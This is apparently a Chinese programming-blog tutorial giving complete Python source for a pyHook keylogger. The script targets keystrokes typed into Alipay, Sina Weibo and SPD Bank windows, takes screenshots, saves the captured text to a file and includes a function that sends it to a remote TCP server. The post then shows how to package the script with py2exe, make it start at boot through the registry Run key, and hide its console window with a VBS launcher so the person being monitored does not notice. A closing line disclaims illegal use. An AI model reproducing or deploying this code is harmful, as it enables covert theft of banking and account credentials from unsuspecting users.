Python利用pyHook实现监听用户鼠标与键盘事件


Posted in Python onAugust 21, 2014

本文以一段简单的监听鼠标、键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号、密码)的功能。经测试,对于一台“裸奔”的电脑,完全能获取到用户输入的任何信息;但是如果安装了杀毒软件,就够呛了。具体实现方法如下:

一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下

# -*- coding: utf-8 -*- # 

import pythoncom 
import pyHook  
import time
import socket
from PIL import ImageGrab

#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
  host=""
  port=1234
  buf_size=1024
  addr=(host,port)
  if len(msg)>0:
    tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    tcp_client_sock.connect(addr)
    info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
    tcp_client_sock.sendall(info+msg)
    tcp_client_sock.close()
    
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):  
  f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
  f.write(msg+'\r\n')
  f.close()

def onMouseEvent(event): 
  # 监听鼠标事件   
  global MSG
  if len(MSG)!=0:    
    #send_msg_to_server(MSG)
    write_msg_to_txt(MSG)
    MSG=''
    pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
    #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
    pic = ImageGrab.grab()
    pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
  return True
 
def onKeyboardEvent(event):
  #监听键盘事件
  global MSG
  title= event.WindowName.decode('GBK')
  #通过网站title,判断当前网站是否是“监听目标”
  if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
    #Ascii: 8-Backspace , 9-Tab ,13-Enter 
    if (127 >= event.Ascii > 31) or (event.Ascii == 8):
      MSG += chr(event.Ascii)        
    if (event.Ascii == 9) or (event.Ascii == 13):      
      #send_msg_to_remote(MSG)
      write_msg_to_txt(MSG)
      MSG = '' 
      #屏幕抓图实现
      pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
      pic = ImageGrab.grab()
      #保存成为以日期命名的图片
      pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
  return True 
 
if __name__ == "__main__":   
  MSG = ''  
  #创建hook句柄
  hm = pyHook.HookManager()

  #监控鼠标
  hm.SubscribeMouseLeftDown(onMouseEvent)
  hm.HookMouse()

  #监控键盘
  hm.KeyDown = onKeyboardEvent
  hm.HookKeyboard()

  #循环获取消息
  pythoncom.PumpMessages()

二、用py2exe将脚本打包:

新建一个py文件setup.py,内容如下:

from distutils.core import setup
import py2exe
setup(console=["monitor.py"])
#setup(windows=["monitor.py"])

命令行执行以下命令:

pythonsetup.pypy2exe

三、将该程序设置为开机自动启动:

步骤①:

将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下

步骤②:

修改注册表:命令行— regedit ,然后到以下路径下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  

新建一个“字符串值”,然后编辑:设置exe文件所在路径
D:\workspace\mytest\pyhook\dist\monitor.exe

(以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)

步骤③:

新建一个 .vbs文件,内容如下:

setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0

双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
然后参考法①、② 把该vbs设置成开机启动即可。

补充:

1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、本代码仅为测试示例,读者不要将其用于非法用途。

感兴趣的读者可以对本文实例加以改进,使之功能更加完善。

Python 相关文章推荐
Python中实现字符串类型与字典类型相互转换的方法
Aug 18 Python
python机器学习理论与实战(六)支持向量机
Jan 19 Python
python使用jieba实现中文分词去停用词方法示例
Mar 11 Python
Python切片操作深入详解
Jul 27 Python
Python 实现Windows开机运行某软件的方法
Oct 14 Python
Python骚操作之动态定义函数
Mar 26 Python
python自制包并用pip免提交到pypi仅安装到本机【推荐】
Jun 03 Python
centos 安装Python3 及对应的pip教程详解
Jun 28 Python
python二进制读写及特殊码同步实现详解
Oct 11 Python
python实现FTP文件传输的方法(服务器端和客户端)
Mar 20 Python
keras 解决加载lstm+crf模型出错的问题
Jun 10 Python
如何利用python进行时间序列分析
Aug 04 Python
Python发送Email方法实例
Aug 21 #Python
Python生成验证码实例
Aug 21 #Python
python中去空格函数的用法
Aug 21 #Python
python实现的重启关机程序实例
Aug 21 #Python
实例讲解Python中的私有属性
Aug 21 #Python
Python创建日历实例
Aug 21 #Python
Python实现批量把SVG格式转成png、pdf格式的代码分享
Aug 21 #Python
You might like
PHP 类型转换函数intval
2009/06/20 PHP
基于jquery的关于动态创建DOM元素的问题
2010/12/24 Javascript
jQuery代码优化之基本事件
2011/11/01 Javascript
jquery中文乱码的多种解决方法
2013/06/21 Javascript
js对列表中第一个值处理与jsp页面对列表中第一个值处理的区别详解
2013/11/05 Javascript
javascript检测是否联网的实现代码
2014/09/28 Javascript
JS动态添加Table的TR,TD实现方法
2015/01/28 Javascript
javascript计时器详解
2015/02/28 Javascript
jquery.form.js实现将form提交转为ajax方式提交的方法
2015/04/07 Javascript
js提交form表单,并传递参数的实现方法
2016/05/25 Javascript
jquery获取复选框checkbox的值实现方法
2016/05/30 Javascript
巧用canvas
2017/01/21 Javascript
js简单实现网页换肤功能
2017/04/07 Javascript
浅谈Angular2 模块懒加载的方法
2017/10/04 Javascript
JS基于for语句编写的九九乘法表示例
2018/01/04 Javascript
js实现下拉框二级联动
2018/12/04 Javascript
js实现微信聊天界面
2020/08/09 Javascript
[01:35]2018年度CS GO最佳战队-完美盛典
2018/12/17 DOTA
python发送arp欺骗攻击代码分析
2014/01/16 Python
Python模糊查询本地文件夹去除文件后缀的实例(7行代码)
2017/11/09 Python
python实现NB-IoT模块远程控制
2018/06/20 Python
python实现微信防撤回神器
2019/04/29 Python
Python3内置模块之base64编解码方法详解
2019/07/13 Python
Python上下文管理器用法及实例解析
2019/11/11 Python
python 实用工具状态机transitions
2020/11/21 Python
python 使用cycle构造无限循环迭代器
2020/12/02 Python
python3 kubernetes api的使用示例
2021/01/12 Python
AC Lens:购买隐形眼镜
2017/02/26 全球购物
Kipling意大利官网:世界著名的时尚休闲包袋品牌
2019/06/05 全球购物
潘多拉珠宝美国官方网站:Pandora US
2020/06/18 全球购物
优秀毕业生自我鉴定
2014/01/19 职场文书
大学生个人自荐信
2014/02/24 职场文书
职业生涯规划书之大学四年
2019/08/07 职场文书
SpringBoot2 参数管理实践之入参出参与校验的方式
2021/06/16 Java/Android
分析ZooKeeper分布式锁的实现
2021/06/30 Java/Android
Python内置包对JSON文件数据进行编码和解码
2022/04/12 Python